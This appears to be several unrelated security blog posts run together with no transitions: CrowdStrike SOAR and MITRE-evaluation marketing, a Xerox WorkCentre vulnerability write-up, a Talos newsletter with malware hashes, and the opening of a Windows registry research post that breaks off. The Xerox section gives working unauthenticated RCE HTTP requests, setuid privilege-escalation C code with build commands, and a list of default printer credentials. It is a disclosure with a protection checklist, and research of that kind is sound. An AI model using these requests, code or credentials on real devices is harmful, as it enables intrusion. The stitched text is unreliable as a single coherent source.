As a native capability of Falcon Next-Gen SIEM, Falcon Fusion SOAR provides analysts with a unified experience that combines world-class security data and workflow automation to stop breaches. The newly redesigned workflow builder allows security analysts to easily visualize their workflows as they build them with an intuitive top to bottom flow for improved readability and usability. Analysts can simply select different building blocks without needing to code, making automation accessible even to more junior analysts.

Figure 2. Deploy workflow automation in minutes with the new workflow builder interface.

Depending on the complexity of the workflow, building it can only take only a few minutes. Once the use case has been identified, analysts need to select a trigger, define conditions and configure the actions. Falcon Fusion SOAR supports the orchestration of complex use cases with conditional branching and logic, and by seamlessly integrating with Falcon Real Time Response (RTR) to execute any action on the endpoint. When key decision making and approvals are necessary, team members can be notified via email, Slack or your preferred communication method as part of the workflow.

To give your team a headstart, Falcon Fusion SOAR offers a growing library of out-of-the-box playbooks for common use cases. These playbook templates can be easily customized to meet your organization’s policies and technology stack.

Falcon Fusion SOAR recently released a new phishing integration and playbook to help your team automate response to emails reported as phishing by employees in your organization.The workflow integrates with MS365, authorizing Falcon Fusion to have read-only access to your organizations’ phishing inbox. When an email is reported as phishing, the workflow begins the investigation process by searching all email components for enrichment. If malicious indicators are identified, the workflow will quarantine or block indicators, update third-party tools and create custom IOCs to start a retroactive search.

Figure 3. Falcon Fusion SOAR’s new phishing playbook template will enable your team to deploy workflow automation as soon as an email is reported as a phishing email.

Optimize Incident Response with Workflow Automation Insights

Workflow automation helps security teams cut mean time to respond (MTTR) by gathering and enriching data, guiding analysts through investigations and orchestrating, and automatically remediating attacks. It also reduces the risk of human error by driving consistent, standardized actions. Additionally, it has the potential to improve your security posture by providing insights into trends and execution, helping to better understand performance, enhance collaboration and identify areas of improvement.

Falcon Fusion SOAR offers at-a-glance insights through a metrics dashboard that enables you to view detailed workflow executions, including the various actions executed by each workflow, and related detections. This comprehensive information, along with other trends, enhances the understanding of the status and context of an incident. All of this information is readily available in a unified view within the Falcon platform, thereby reducing “swivel-chair syndrome” for your team and allowing them to concentrate efforts on the most critical threats.

Figure 4. Understand and improve your security posture with SOAR insights at a glance.

Next-Level Threat Management with Falcon Next-Gen SIEM

With its native SOAR capabilities powered by Falcon Fusion SOAR, Falcon Next-Gen SIEM accelerates threat detection, investigation and response — all from a single console. This gives your team the speed to keep pace with adversaries and the focus to address the threats that put your organization at risk.

Additional Resources

• Want to learn more about Falcon Fusion? Visit the Falcon Fusion SOAR product page.
• Download the Falcon Fusion SOAR data sheet to learn about our integrated SIEM and SOAR capabilities.
• Sign up to attend our Next-Gen SIEM Showcase to see Falcon Next-Gen SIEM and Falcon Fusion SOAR in action.
• Sign up to request a test drive of Falcon Next-Gen SIEM to see how Falcon Fusion SOAR augments the module.
• Watch on demand: CrowdStrike’s AI-Native SOC Summit: The Next Generation of SIEM, Here Today
• Read our SOC Survival Guide to learn how to revolutionize your SOC.

Security teams must outpace increasingly fast and sophisticated adversaries to stay ahead. In the most recent closed-book MITRE Engenuity ATT&CK® Evaluations: Managed Services, the CrowdStrike Falcon® platform once again demonstrated it stands alone in its ability to deliver the speed and efficacy needed to stop breaches.

• CrowdStrike Falcon Complete® managed detection and response (MDR) sets a new speed benchmark, scoring the fastest mean time to detect (MTTD) at just 4 minutes — 6 to 11 times faster than competitive vendors.
• CrowdStrike achieved the highest detection coverage score for the second consecutive year.

MITRE’s closed-book evaluation emulated a real-world eCrime attack without giving vendors prior knowledge of the threat scenario — creating the most accurate assessment of a vendor’s capabilities. In this scenario, prevention capabilities of the Falcon agent were not permitted. The Falcon platform was operating in detect-only mode, meaning no automated actions could be taken to kill processes.

MITRE does not rank or rate participants — the following is CrowdStrike’s analysis of the results provided by MITRE Engenuity.

We believe these results clearly demonstrate that the powerful combination of the Falcon platform, CrowdStrike’s elite team of experts and our knowledge of the adversary stands alone in the industry when it comes to stopping breaches. The Falcon platform once again achieved the highest detection coverage and fastest mean time to detect at just 4 minutes — an exceptional performance 6-11x faster than comparative vendors.

Organizations must rigorously evaluate MDR vendors and demand cutting-edge technology, unmatched expertise and proven outcomes. Only a unified approach ensures swift and effective threat detection, investigation and response. This is why the results from MITRE’s latest evaluation should be considered holistically. When reviewing these results, ask yourself: What good is speed if threats are missed? What good are actionable detections if they cannot be trusted or acted on quickly? What good is threat detection if detections happen too slowly to prevent breaches?

Not only did CrowdStrike achieve the highest detection coverage and fastest MTTD of all vendors evaluated, we also generated the highest number of actionable notifications and detections, showcasing our ability to drive superior security outcomes — namely, stopping breaches.

Figure 1. Mean time to detect (MTTD) in MITRE Engenuity ATT&CK Evaluations: Managed Services, Round 2

Unsurpassed Speed and Efficacy in MDR

CrowdStrike Falcon Complete MDR achieved remarkable results in the latest MITRE evaluation, building on our previous success in the MITRE Managed Services, Round 1 and the MITRE Enterprise evaluation. We achieved the highest detection coverage of all vendors evaluated.

The CrowdStrike 2024 Global Threat Report shows the average breakout time for eCrime is dropping rapidly, going from 84 minutes in 2022 to just 62 minutes in 2023. The fastest recorded breakout was just over 2 minutes. This real-world data shows every minute counts when sophisticated adversaries attack. With many cybersecurity solutions, by the time a SOC is aware of an intrusion, it’s too late — the adversary will have already moved on to their objective. Falcon Complete detects the attack immediately, preventing a breach.

Organizations must have confidence in their MDR provider’s ability to swiftly detect and eliminate threats with uncompromising efficiency. This closed-book evaluation, in which no vendor had advance notice of the adversary or their TTPs, accurately simulated a real-world attack and offered a precise assessment of each vendor’s ability to detect and report threats, registering MTTD as a critical metric. Vendor response and remediation were not evaluated.

The Falcon Complete team rapidly correlated intelligence and cross-domain data using the Falcon platform’s rich security telemetry, which encompasses endpoint, identity, cloud workloads, third-party data and integrated threat intelligence. CrowdStrike achieved these objectives with astounding speed and accuracy.

Figure 2. Detection coverage category scores in MITRE Engenuity ATT&CK Evaluations: Managed Services, Round 2

Identifying Sophisticated Tradecraft in MITRE Engenuity ATT&CK Evaluations: Managed Services, Round 2

CrowdStrike’s objectives in the evaluation were to investigate and provide context and analysis of Falcon platform detections in order to establish who the threat actor was, identify the earliest and most recent threat actor activity and determine how they gained access to the systems. We were required to present MITRE evidence, if any, that the threat actor accessed or exfiltrated data and identify potential lateral movement to other systems in the environment.

During the evaluation, we reviewed and monitored Falcon platform detections and relevant telemetry across native endpoint and identity data, and network and email third-party telemetry from CrowdStrike Falcon® Next-Gen SIEM, to perform remote triage analysis on impacted systems.

CrowdStrike identified that the MITRE ATT&CK Evaluations for Managed Services emulated the behavior of two sophisticated adversaries tracked as STONE PANDA and ALPHA SPIDER by CrowdStrike Counter Adversary Operations (known as menuPass and ALPHV BlackCat by MITRE).

Figure 3. Incident diagram created by Falcon Complete and the CrowdStrike Falcon® Adversary OverWatch team, mapping adversary technique as the attack unfolded.

Learning How the Threat Actor Gained Access

The threat actor was first detected via a remote desktop connection from an unmanaged system, indicating that valid credentials were likely already compromised and used to initiate the attack. Specifically, the credentials for the “kizumi” account were utilized. Using the CrowdStrike Falcon® Identity Threat Protection module, Falcon Complete quickly identified that there were known risks with the account, including shared passwords with another account and a path to a privileged user.

Figure 4. Falcon Identity Threat Protection highlighting risks tied to the kizumi account

Identifying Threat Actor Activity

Once the threat actor had access to the environment, native tooling using certutil.exe was executed to download malicious binaries from threat actor-controlled infrastructure. These binaries were subsequently sideloaded into the legitimate application Notepad++ and identified to match Sigloader and QuasarRAT malware, confirming the STONE PANDA attribution.

In a real-world scenario, Falcon Complete would have stepped in to contain the host and block authentication for the account using the Falcon Identity Threat Protection module. The customer would have then received a remediation notice via email or Message Center, informing them of the steps taken by Falcon Complete to eradicate the threat.

Figure 5. Cerutil.exe used to download malicious DLL VERSION.dll

Figure 6. Notepad++.exe sideloading VERSION.dll to load QuasarRAT

Identifying Potential Lateral Movement

Once command-and-control (C2) connectivity had been established, CrowdStrike observed the threat actor use QuasarRAT malware to conduct keylogging activity, allowing them to attain credentials for the domain administrator account. Falcon Complete quickly obtained a process memory dump of the Notepad++ process utilizing Falcon Real Time Response to validate that the credentials for kizumi.da had been captured by the keylogger and stored locally on the system under the file path C:\Users\kizumi\AppData\Roaming\Logs\2024-03-25-log. Consequently, this keylogger file was observed being exfiltrated back to the threat actor’s C2 infrastructure.

The threat actor then used their valid credentials with domain administrator privileges, conducting additional network reconnaissance to identify high-value targets — including a Domain Controller, which was targeted for further credential theft. In addition, the threat actor abused the Server Message Block (SMB) protocol to transfer files throughout the environment.

Later, the threat actor used tooling matching indicators consistent with ExMatter to search for and gather potentially sensitive information such as Microsoft Office documents and image files from multiple systems. This allowed Falcon Complete to conclude a second adversary, ALPHA SPIDER/BlackCat, was involved. The data was then exfiltrated via SFTP to threat actor-controlled infrastructure.

Figure 7. Exmatter data exfiltration via SFTP to threat actor-controlled domain

As the threat actor’s final act, a ransomware binary was downloaded and executed remotely across all victim systems via a renamed copy of PsExec.exe. This destructive act encrypted files, terminated critical processes and performed actions that would inhibit system recovery.

It should be noted that had this not been a controlled simulation, at any point from the first detection onward Falcon Complete would have enacted countermeasures such as network containment, artifact remediation via Falcon Real Time Response, or the blocking of affected accounts via Falcon Identity Threat Protection in order to stop the breach — all while maintaining close communications with the customer. Our comprehensive response capabilities set Falcon Complete apart from any other managed service.

We Dominated the Evaluation — and CrowdStrike Offers Even More

While these test results are fantastic for CrowdStrike and our customers, they don’t come close to telling the full story of the power of the Falcon platform and CrowdStrike services.

Falcon Complete delivers full-cycle remediation: The “R” in “MDR” was notably absent in this evaluation, which focused solely on detecting and reporting adversary activity and did not extend to response or remediation. Most MDR services stop at identifying and investigating threats, leaving the response to the customer with “guided recommendations.” Falcon Complete goes beyond this by performing surgical remediation for endpoints, identities and cloud workloads, containing hosts, removing malicious artifacts and restoring systems to their normal state.

Falcon Adversary OverWatch unearths unknown, advanced attacks: MITRE didn’t specifically evaluate Falcon Adversary OverWatch, but Falcon Adversary OverWatch threat hunters were involved in the active evaluation and were crucial in identifying and reporting steps to MITRE. As adversaries evolve their tradecraft to evade automated detections, Falcon Adversary OverWatch quickly adapts and adjusts to make sense of early signals and complex attack patterns to uncover previously unknown threats.

Falcon Next-Gen SIEM: CrowdStrike Falcon Next-Gen SIEM integrates key data and threat intelligence, including third-party data, into a single console so analysts can see the full scope of any attack with instant correlation of Falcon and third-party sources. With CrowdStrike’s industry-leading threat intelligence and investigation, Falcon Next-Gen SIEM simplifies and accelerates investigations.

Falcon Prevent was disabled: Prevention capabilities of the Falcon agent were not permitted. This highlights the skill of the Falcon Complete team, which was still able to achieve the highest detection coverage and provide recommendations to MITRE in record time. In a real-world scenario, CrowdStrike’s experts, combined with the full capabilities of the Falcon platform, would have disrupted all of the attack attempts before attackers could achieve their objectives, and most of the activity would have been stopped at first contact.

CrowdStrike strongly values participation in independent testing and evaluation. Exercises like the MITRE Engenuity ATT&CK® Evaluations: Managed Services evaluation give customers invaluable, unbiased insight into the performance of cybersecurity solutions. They provide insights into critical features and capabilities and how these will affect the outcome when protecting against real-world adversaries. Participating in these tests also drives innovation, helping CrowdStrike to develop new features that support our mission of stopping breaches.

Additional Resources

• Read the press release.
• See the full results of the MITRE ATT&CK evaluation.
• To register for the CrowdStrike CrowdCast on the MITRE ATT&CK® Evaluation: Managed Services, visit here.
• Learn about another recent MITRE evaluation of the CrowdStrike Falcon platform in this blog: CrowdStrike Achieved 100% Protection, 100% Visibility, 100% Analytic Detection in MITRE Engenuity ATT&CK® Evaluations: Enterprise.
• Read about how CrowdStrike Performed in MITRE ATT&CK Evaluations for Managed Services, Round 1.

Every organization has printers. Sometimes, there are Xerox WorkCentre among them, large machines that can weigh more than 100 kilos or 220 lbs.

In this writeup, I will cover two unauthenticated RCE vulnerabilities that I discovered in these printers. Next, I’ll provide a checklist for protecting your printers against attacks.

Initial Discovery

Here is a screenshot of the main page of Xerox WorkCentre:

This web page can be on port 80/http by default, or on port 443/https if a TLS certificate is set up.

Be careful when scanning for printers. Scanning special ports, such as 631/tcp (IPP), can result in the accidental printing of numerous documents.

Firmware

The firmware for Xerox WorkCentre can be easily downloaded from the official Xerox’s website.

Next, it can be unpacked with a series of unzip, binwalk -e, and tar xf commands.

Unauthenticated RCE #1

Assigned CVE: CVE-2016-11061

Xerox had patched the issue in 2016, but they did not issue a CVE for it at that time. Therefore, when the issue was rediscovered in 2020, we were able to assign the CVE-2016-11061 identifier for it.

The vulnerability consists of simple shell escaping in configrui.php file:

<?php

$req=$_POST['req'];
$param=$_POST['param'];
$block=escapeshellcmd($_POST['block']);
$user=escapeshellcmd($_POST['username']);
$isActive=escapeshellcmd($_POST['isActive']);
$isOverride=escapeshellcmd($_POST['isOverride']);

function startRUI($p,$bl,$us,$i,$active,$ov)
{
    // [REDACTED]

    if ("1" === $ov) {
        $reply1 = "ruiAccessResponse ACCEPT";
    } else {
        // [REDACTED]
    }

    if (strncmp($reply1,'ruiAccessResponse ACCEPT', 24) === 0) {
    	$reply2=exec("/opt/ui/remoteUI/bin/config_remoteui startRUI $p $_SERVER[SERVER_ADDR]");
	    if (strncmp($reply2,'<PARAM',6) === 0){
		    #write out session data to ramdisk...
		    system("echo \"$bl,$ov,$us,$i\" > /tmp/semFiles/rui_session");
	    }
	    echo $reply2;
    }
    // [REDACTED]
}

if  ("config" === $req) {
    echo $req;
    startRUI($param,$block,$user,$ip,$isActive,$isOverride);
}

// [REDACTED]

Attackers can easily exploit it by sending the following HTTP request:

POST /support/remoteUI/configrui.php HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: [REDACTED]
 
req=config&isOverride=1&param=`cmd+to+execute`

Despite the patch being released in 2016, we still encounter 2016 and earlier firmware versions in use during internal pentests to this day.

Unauthenticated RCE #2

Assigned CVE: N/A

In 2023, I first encountered a patched Xerox device that wasn’t affected by CVE-2016-11061. I quickly downloaded the new firmware and examined the patch:

<?php

$req = $_POST['req'];
$block = escapeshellcmd($_POST['block']);
$user = escapeshellcmd($_POST['username']);
$isActive = escapeshellcmd($_POST['isActive']);
$isOverride = escapeshellcmd($_POST['isOverride']);

// [REDACTED]

Clearly, nothing more could be done. Xerox simply removed $_POST['param'] from the code, eliminating the parameter that allowed for shell injection.

However, I carefully inspected the preprocessor directives found in some of the PHP files:

...

<?php
if ( true == $gdisplayScanPreset )
{
?>
var CUSTOM_CHOICE           = "custom";
<?php
}
?>

<script type="text/javascript">
// [REDACTED]

// global variables
var gCurrentValidationServerPath    = "";
var gCurrentValidationServerProtocol  = '<!-- loa fn=HTTP_Parser_Get_fn arg="xrx_svc_validation 1 MetaDataValidationServerProtocol string" context="js" -->';
var gDocumentInvocations              = '<!-- loa fn=HTTP_Parser_List_Invocations_fn arg="xrx_document" context="js" -->';

// [REDACTED]
</script>

...

These preprocessor directives are generated by the C code, which is loaded as an Apache module, before the PHP code is executed.

After finding the right place to inject the code, I quickly obtained RCE:

POST /userpost/xerox.set HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: [REDACTED]
 
_fun_function=HTTP_Parser_Set_fn&DefaultParserFilename=%2Ftmp%2Ftemplate%2Fpool%2Fsystem%2FDEFAULT.XST&NextPage=%2Fscan%2Ftemplate.php%3FParserFilename%3D%2Ftmp%2Ftemplate%2Fpool%2Fweb%2Fabc.XST&ServiceName=xrx_svc_validation&InvocationName=1&AttributeName=MetaDataValidationServerProtocol&AttributeType=string&AttributeValue=111111111%0A%0A%0A<?php+echo+system("ifconfig");exit;?>%0A%0A222222222&Action=update&CopyParserFilename=abc.XST

This vulnerability can be tricky to reproduce. The Apache module is sensitive to input parameters, including their order. There may be differences between Xerox models, and the module also has caching.

To exploit it, it’s easier to intercept the request from the interface below, which is accessible from the main page without any authentication, and modify the MetaDataValidationServerProtocol attribute:

We reported this vulnerability to Xerox in June 2023, along with two unauthenticated buffer overflows I accidentally found. According to Xerox, all reported vulnerabilities were fixed that same month. However, no security bulletins or CVEs were issued or found on the Xerox website.

Since Xerox is currently a CNA, we can’t request a CVE for these issue ourselves.

Privilege Escalation and USB interface

Privilege escalation on Xerox WorkCentre is straightforward because every daemon on the device, except for Apache and PostgreSQL, runs under the root privileges.

I can’t disclose the exact method to escalate privileges, but I can share the C code for the suid binary:

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
 
int _start(void) {
    asm volatile ("mr 3, 1;"
                  "bl __main;");
}
 
int __main(void *sp[])
{
    syscall(SYS_setuid, 0, 0, 0);
    syscall(SYS_setgid, 0, 0, 0);
 
    syscall(SYS_execve, sp[2], &sp[2], 0);
 
    return 0;
}

The custom _start function isn’t necessary, but it significantly reduces the output file size.

This suid code should be compiled with musl-cross-make:

powerpc-linux-musl-gcc -O2 -nostartfiles -static ./suid.c
powerpc-linux-musl-strip ./a.out
powerpc-linux-musl-strip -R .comment ./a.out

The resulting binary can be used on many PowerPC devices to facilitate privilege escalation.

After gaining root privileges, the /tmp/usb-sdb1 directory can be accessed, where all external USB devices are mounted. Next, a user’s DOCX or PDF file might be downloaded or altered to continue the attack, even if the printer segment is isolated.

Protection Checklist

1. Update your Xerox WorkCentre to the latest firmware.

2. Verify that your devices do not use the default credentials:

admin:admin
admin:1111
diag:3424
!$ecivreS:2732
forceonboxlogin:password
guest:2222

3. Set strong password for the administrator account, different from other devices.

4. If you use a mailbox account on the device to send mail with scanned documents, verify that the mailbox is properly cleared and doesn’t accumulate confidential documents.

5. Properly isolate your printers in your local network.

Read More

1. Raphaël Rigo, 2020: https://airbus-seclab.github.io/xerox/INFILTRATE2020-RIGO-Xerox-final.pdf

2. Nicolas Heiniger, 2021: https://www.compass-security.com/fileadmin/Research/Advisories/2021-04_CSNC-2021-002_OS_command_injection_RCE_in_Xerox_WorkCentre.txt

3. Rik van Duijn, 2021: https://zolder.io/decrypt-passwords-from-xerox-workcentre-config-backups/

4. Brendan O’Connor, 2006: https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-OConnor.pdf

Feel free to write your thoughts about the writeup on our X page. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

AI has since replaced “cryptocurrency” and “blockchain” as the cybersecurity buzzwords everyone wants to hear. 

We're not getting as many headlines about cryptocurrency miners, the security risks or promises of the blockchain, or non-fungible tokens being referenced on “Saturday Night Live.” 

A report in March found that 72% of cryptocurrency projects had died since 2020, with crypto trading platform FTX’s downfall taking out many of them in one fell swoop. This, in turn, means there are fewer instances of cryptocurrency mining malware being deployed in the wild — if cryptocurrencies aren’t as valuable, the return on investment for adversaries just isn’t there.  

But that still hasn’t stopped bad actors from using the cryptocurrency and blockchain spaces to carry out other types of scams that have cost consumers millions of dollars, as a few recent incidents highlight. 

In place of major cryptocurrencies, many bad faith actors are creating “memecoins,” which are cryptocurrencies usually themed around a particular internet meme or character meant to quickly generate hype. The most famous example, Dogecoin, themed after the “Doge” meme, was 72% below its peak value as of Wednesday. 

At one point, Dogecoin was at least worth something, which is more than can be said for most other memecoins launched today. Cryptocurrency news site CoinTelegraph found that one in six newly launched meme-themed cryptocurrencies are outright scams, primarily centered around getting users to spend real-world money to invest in currency before the creator just takes off with their funds. 

And 90% of the memecoins they studied contained at least one security vulnerability that could leave users open to abuse or theft. 

Singer Jason Derulo is even facing allegations that his “JASON” memecoin on the Solana blockchain platform is a scam after it hit a market cap of $5 million on June 23, and then the value fell almost immediately later that day. Separately, someone hacked rapper 50 Cent’s Twitter account to promote the “$GUINT” memecoin. Upon regaining control of his account, 50 Cent said that whoever committed the scam made $3 million in 30 minutes, with consumers putting money into the memecoin thinking it was legitimate, before the creator took off with the money almost immediately, leaving users unable to access their funds. 

Another popular scam still going around in this space is called the “rug pull,” where a cryptocurrency or NFT developer starts to hype up a new project to attract investor funds, only to completely shut down the project days or weeks later, taking investors’ assets with them. 

Blockfence, a Web3 security firm, found a collection of these scammers earlier this year, claiming they had stolen the equivalent of $32 million from more than 42,000 people across multiple rug pull scams. Unmoderated social media platforms have been rife for abuse for these types of scams, with semi-anonymous users with large followings finding it fairly easy to get a large amount of interest in whatever their latest “project” is in a short amount of time.  

The last example, I’m still not sure if it’s a scam yet. A new video game called “Banana” recently blew up on the Steam online store, even though it’s barely a video game. Users can open the game at fixed intervals and click a button to receive a “banana” in their Steam account. Some of these bananas, usually different artists' renderings of an image of the fruit, are extraordinarily rare and can be re-sold on Steam’s internal marketplace for real-world money. 

Some of these bananas have sold for more than $1,000, but most of the basic ones are only worth a few cents. To me, this looks and smells like an NFT. A former cryptocurrency scammer was once even connected to the project before the creators parted ways with him.  

I have no way of knowing any of this for sure, but there doesn’t seem to be any safeguards in place to ensure the creators of the game could rig it for themselves and give only themselves or close friends copies of the rarer items. And I’m not fully sure what the endgame is for the developers, since “Banana” is free to download and “play.”  

Thankfully, I’m not getting as many questions as I used to about NFTs and “the crypto” from extended family members. But just because it’s disappeared from mainstream consciousness doesn’t mean scammers have forgotten about this space, too. 

The one big thing 

Cisco Talos recently discovered an ongoing campaign from SneakyChef, a newly discovered threat actor using SugarGh0st malware. SneakyChef uses lures that are scanned documents of government agencies, most of which are related to various countries’ Ministries of Foreign Affairs or embassies. Talos recently revealed SneakyChef’s continuing campaign targeting government agencies across several countries in EMEA and Asia, delivering the SugarGh0st malware, however, we found a new malware we dubbed “SpiceRAT” was also delivered in this campaign.   

Why do I care? 

SneakyChef has already targeted more than a dozen government ministries across the Eastern Hemisphere. Based on the lure documents Talos discovered the actor using, like targets for the campaign could include the Ministries of Foreign Affairs from Angola, India, Kazakhstan, Latvia, and Turkmenistan and the Saudi Arabian embassy in Abu Dhabi. This actor doesn’t seem to be deterred by much, either, as their actions have largely continued in the same manner since Talos first disclosed the existence of SugarGh0st several years ago, using the same TTPs and C2.  

So now what? 

Talos could not find any of the lure documents used in the wild, so they were very likely stolen through espionage and slightly modified. This could make it more difficult to spot lure documents and spam emails, so users should pay closer attention to the sender’s email address if they are suspicious of any messages. We also released OSQueries, Snort rules and ClamAV signatures that can detect and block SneakyChef’s activities and the SpiceRAT malware.  

Top security headlines of the week 

A cyber attack that is stalling communication and sales at car dealerships around the U.S. is unlikely to be restored by the end of the month. CDK Global, the victim of the campaign, reportedly told customers that they should prepare alternative methods for preparing month-end financial statements. Car dealerships use CDK to conduct sales, process financial information, and look up vehicles’ warranties and recalls. The outage is affecting more than 60 percent of Audi dealerships in the U.S. and about half of Volkswagen’s locations, forcing them to switch to pen-and-paper transactions and contracts or to drop sales altogether. One sales manager of an affected dealership told CNN it could take “months to correct, if not years,” the financial fallout of the outage. CDK first disclosed two back-to-back cyber attacks last week, both of which occurred on June 19. There are already two class action lawsuits against CDK, with plaintiffs alleging that the breach may have exposed customers’ and employees’ names, addresses, social security numbers and other financial information. (Reuters, CNN) 

The list of victims resulting from a data breach at cloud storage provider Snowflake continues to grow. Australian ticket sales platform Tiketek informed customers this week of a potential data breach, though it was not immediately clear if it was connected to Snowflake. Retailer Advance Auto Parts also said this week that said employee and applicant data — including social security numbers and other government identification information — were stolen during the breach. Clothing chain Neiman Marcus also filed regulatory documents in Maine and Vermont disclosing that the personal information of more than 64,000 people was potentially accessed because of the Snowflake breach. This information could include names, contact information, dates of birth and gift card numbers for the retailer. Security researchers at Mandiant first estimated that as many as 165 Snowflake customers could be affected. Snowflake says that internal investigations found that the breach was not caused by “a vulnerability, misconfiguration, or breach of Snowflake’s platform." (The Register, The Record by Recorded Future) 

Adversaries quickly started exploiting another vulnerability in the MOVEit file transfer software, just hours after it was disclosed. The high-severity vulnerability, CVE-2024-5806, could allow an attacker to authenticate to the file-transfer platform as any valid user with the accompanying privileges. The vulnerability exists because of an improper authentication issue in MOVEit’s SFTP module, which Progress, the creator of the software, says “can lead to authentication bypass in limited scenarios.” A different vulnerability in MOVEit was targeted in a rash of Clop ransomware attacks that eventually affected more than 160 victims, including the state of Maine, the University of California Los Angeles, and British Airways. Managed file transfer software (MFT) like MOVEit are popular targets for threat actors because they contain large amounts of sensitive information, which adversaries will steal and then use to extort victims. The Shadowserver Foundation posted on Twitter on Tuesday that they began seeing exploitation attempts shortly after details emerged about CVE-2024-5806. (Dark Reading, SecurityWeek) 

Can’t get enough Talos? 

• Cisco Talos: How Threat Actors Target MFA 
• MFA plays a rising role in major attacks, research finds 
• SpiceRAT: Cisco Talos Sound Alarm Over New Trojan 
• Hack your water and electricity! Myth or Reality? 
• Multiple vulnerabilities in TP-Link Omada system could lead to root access 
• Talos Takes Ep. #188: Everything we know about denial-of-service attacks in 2024 

Upcoming events where you can find Talos 

BlackHat USA (Aug. 3 – 8) 

Las Vegas, Nevada 

Defcon (Aug. 8 – 11) 

Las Vegas, Nevada 

BSides Krakow (Sept. 14)  

Krakow, Poland 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91
MD5: 7bdbd180c081fa63ca94f9c22c457376
Typical Filename: c0dwjdi6a.dll
Claimed Product: N/A
Detection Name: Trojan.GenericKD.33515991

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: 484c74d529eb1551fc2ddfe3c821a7a87113ce927cf22d79241030c2b4a4aa74
MD5: dc30cfd21bbb742c10e3621d5b506780
Typical Filename: [email protected]
Claimed Product: N/A
Detection Name: W32.File.MalParent

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202
MD5: e4acf0e303e9f1371f029e013f902262
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe
Claimed Product: FileZilla
Detection Name: W32.Application.27hg.1201

Posted by Mateusz Jurczyk, Google Project Zero

When tackling a new vulnerability research target, especially a closed-source one, I prioritize gathering as much information about it as possible. This gets especially interesting when it's a subsystem as old and fundamental as the Windows registry. In that case, tidbits of valuable data can lurk in forgotten documentation, out-of-print books, and dusty open-source code – each potentially offering a critical piece of the puzzle. Uncovering them takes some effort, but the payoff is often immense. Scraps of information can contain hints as to how certain parts of the software are implemented, as well as why – what were the design decisions that lead to certain outcomes etc. When seeing the big picture, it becomes much easier to reason about the software, understand the intentions of the original developers, and think of the possible corner cases. At other times, it simply speeds up the process of reverse engineering and saves the time spent on deducing certain parts of the logic, if someone else had already put in the time and effort.

One great explanation for how to go beyond the binary and utilize all available sources of information was presented by Alex Ionescu in the keynote of OffensiveCon 2019 titled "Reversing Without Reversing". My registry security audit did involve a lot of hands-on reverse engineering too, but it was heavily supplemented with information not coming directly from ntoskrnl.exe. And while Alex's talk discussed researching Windows as a whole, this blog post provides a concrete case study of how to apply these ideas in practice. The second goal of the post is to consolidate all collected materials into a single, comprehensive summary that can be easily accessed by future researchers on this topic. The full list may seem overwhelming as it includes some references to overlapping information, so the ones I find key have been marked with the 🔑 symbol. I highly recommend reviewing these resources, as they provide context that will be helpful for understanding future posts.

Microsoft Learn

Official documentation is probably the first and most intuitive thing to study when dealing with a new API. For Microsoft, this means the Microsoft Learn (formerly MSDN Library), a vast body of technical information maintained for the benefit of Windows software developers. It is wholly available online, and includes the following sections and articles devoted to the registry:

• 🔑 Registry  – the main page about all registry-related subjects. It contains a wealth of knowledge, and is a must read for anyone deeply interested in this system mechanism. It is divided into three sections:
• About the Registry  – provides an introduction to the registry and many of its fundamental concepts.
• Using the Registry  – provides several examples of how to perform certain common tasks using the Registry API in C++.
• Registry Reference – includes complete documentation of all functions that make up the Registry API (see Registry Functions), and specifies the Registry element size limits.

• Windows registry information for advanced users – a separate article that discusses the principles of the registry. It appears to be somewhat outdated (the latest version mentioned is Windows Vista), and based on an old KB256986 article that can be traced back to at least 2004.
• Inside the Windows NT Registry and Inside the Registry – two articles published by Mark Russinovich in the Windows NT Magazine in 1997 and 1999, respectively.
• Windows 2000 Registry Reference – a web mirror of regentry.chm, an official help file bundled with the Windows 2000 Resource Kit. It includes a brief introduction to the registry followed by detailed descriptions of the standard registry content, i.e. keys and values used for advanced configuration of the system and applications.

• Windows Server 2003 Resource Kit Registry Reference – a similar, but more recent reference for Windows Server 2003.

• Using the Registry Functions to Consume Counter Data – information about collecting performance data through the registry pseudo-keys: HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT and HKEY_PERFORMANCE_NLSTEXT.
• Offline Registry Library – complete documentation of the built-in Windows offreg.dll library, which can be used to inspect / operate on registry hives without loading them in the operating system.
• Registry system call documentation, e.g. ZwCreateKey – a reference guide to the kernel-mode support of the registry, which reveals numerous details about how it works internally and how the high-level API functions are implemented under the hood.
• Filtering Registry Calls – a set of eight articles detailing how to correctly implement registry callbacks as a kernel driver developer.

• CmRegisterCallbackEx function (wdm.h) – documentation of the CmRegisterCallbackEx routine used for registering callbacks. From there, one can browse to other relevant pages, such as the documentation of the callback function prototype, and further to the documentation of all of the operation-specific structures (such as REG_CREATE_KEY_INFORMATION).

• [MS-RRP]: Windows Remote Registry Protocol – technical specification of the RPC protocol used by the Remote Registry feature.

Blogs and online resources

Due to the fact that the registry stores a substantial amount of traces of user activity, it is a popular source of information in forensic investigations. As a result, a number of articles and blog posts have been published throughout the years, focusing on the internal hive structure, registry-related kernel objects, and recovering deleted data. Below is the list of non-official registry resources I have managed to find online, from earliest to latest:

• WinReg.txt, author unknown (signed as B.D.) – documentation of the hive binary formats in Windows 3.x (SHCC3.10), Windows 95 (CREG) and Windows NT (regf) based on reverse engineering. It was likely the first public write-up outlining the undocumented structure of the hives.
